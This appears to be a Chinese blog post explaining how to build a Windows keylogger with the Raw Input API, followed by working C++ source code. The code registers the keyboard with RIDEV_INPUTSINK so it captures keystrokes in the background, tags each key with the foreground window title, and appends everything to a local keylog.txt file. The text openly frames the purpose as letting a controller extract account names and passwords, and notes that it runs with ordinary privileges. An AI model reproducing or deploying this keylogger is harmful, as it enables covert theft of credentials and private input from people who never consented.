Windows系统键盘按键记录仪

posted at 2024.9.27 14:45 by Administrator

       键盘按键记录,顾名思义,即程序在后台记录下用户在计算机上使用的所有按键信息,信息包括哪个时刻在哪个窗口按下哪个按键。可见这个功能对于Windows系统来说意义非凡。控制者可以根据记录的按键信息,分辨出哪些类似于账号、密码等关键数据,从而进行利用、获取信息。

       在用户层上,实现键盘按键记录的方法也很多。常见的有三种方式,具体如下:

       1、利用全局键盘钩子。程序设施全局键盘钩子,从而捕获按键信息进行记录。

       2、利用GetAsyncKeyState函数。该函数可以判断按键状态,根据是否为按下状态来判断用户是否进行了按键操作,从而记录。

       3、利用原始输入模型,直接从输入设备上获取数据,从而记录按键信息。

       在上述三种实现方法中,利用原始输入模型获取按键记录的方法更为底层、有效,功能也更加强大。

      一、利用原始输入模型获取按键记录的实现过程

       要想接收设备原始输入WM_INPUT的消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。因为在默认情况下,应用程序不接受原始输入。所以利用原始输入模型实现按键记录程序大致可以分成三个部分:注册原始输入设备、获取原始输入信息、保存按键信息。接下来分别对这三个部分一一进行分析。

       1.注册原始输入设备。

       一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构指明他所希望接收设备的类别,再调用RegisterRawInputDevices注册原始输入设备。这样程序才能接收原始输入WM_INPUT的消息。 

       在注册原始输入设备时,TLC定义为RAWINPUTDEVICE结构体成员usUsagePage(设备类)和usUsage(设备类的具体设备)。例如,为了从键盘上获取原始输入,设置usUsagePage为1和usUsage为6。

       其中。将RAWINPUTDEVICE结构体成员的值设置为RIDEV_INPUTSINK,这表示,即使程序不处于上层窗口或是激活窗口,程序依然可以接受原始输入,但是,结构体成员目标窗口的句柄hwndTarget必须要指定。在本节的演示程序中hwndTarget的句柄为当前演示程序的窗口句柄。所以,不管当前演示程序的窗口是否处于上层窗口或是激活窗口,程序依然可以接受原始输入。

       在初始化RAWINPUTDEVICE结构体之后,直接调用RegisterRawInputDevices函数注册一个原始输入设备。

       2.获取原始输入数据。

       在注册完成原始输入设备之后,程序就可以捕获WM_INPUT设备的原始输入消息。这样,可以在WM_INPUT消息处理函数中调用GetInputRawData来获取设备原始数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。其中。dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息,WM_KEYDOWN表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储着键盘按键数据,这是一个虚拟键码。需要转换成ASCII码来保存。

       3.保存按键信息。

       程序将键盘虚拟键码与对应的ASCII码信息保存在头文件VirtualKeyToAscii.h中,这样直接调用自定义函数GetKeyName就可以实现虚拟键码与ASCII的转换。

       除了获取按键信息外,程序和获取按键窗口标题的信息,帮助判断此时输入的是何种数据类型。通过GetForegroundWindow函数获取顶层窗口的句柄,然后调用GetWindowText函数,根据窗口句柄获取窗口的标题数据。最后,将上述信息存储在本地文件上。

       二、按键记录仪代码(C++)

#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"
 
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData); 
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT)  
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
// 保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}

       三、测试效果

       直接运行上述程序。记录用户按键,然后新建一个名为“999.txt”的文本文档,在文档中输入一段字母、数字、标点符号等进行测试。输入信息如图所示:

       按键结束后,关闭txt文档,并打开生成的按键记录文件,查看按键记录信息。如图所示,程序成功的记录下了所有按键信息。

       这个程序的功能比较强大。它的实现不难理解。而且程序只需要普通权限就可以获取系统进程的键盘按键记录。

       在编程实现的过程中。程序必须先通过RegisterRawInputDevices函数注册原始输入设备,这样后面才能顺利接收WM_INPUT原始设备的输入信息。

Tags: , , , , , ,

IT技术

添加评论

  Country flag

biuquote
  • 评论
  • 在线预览
Loading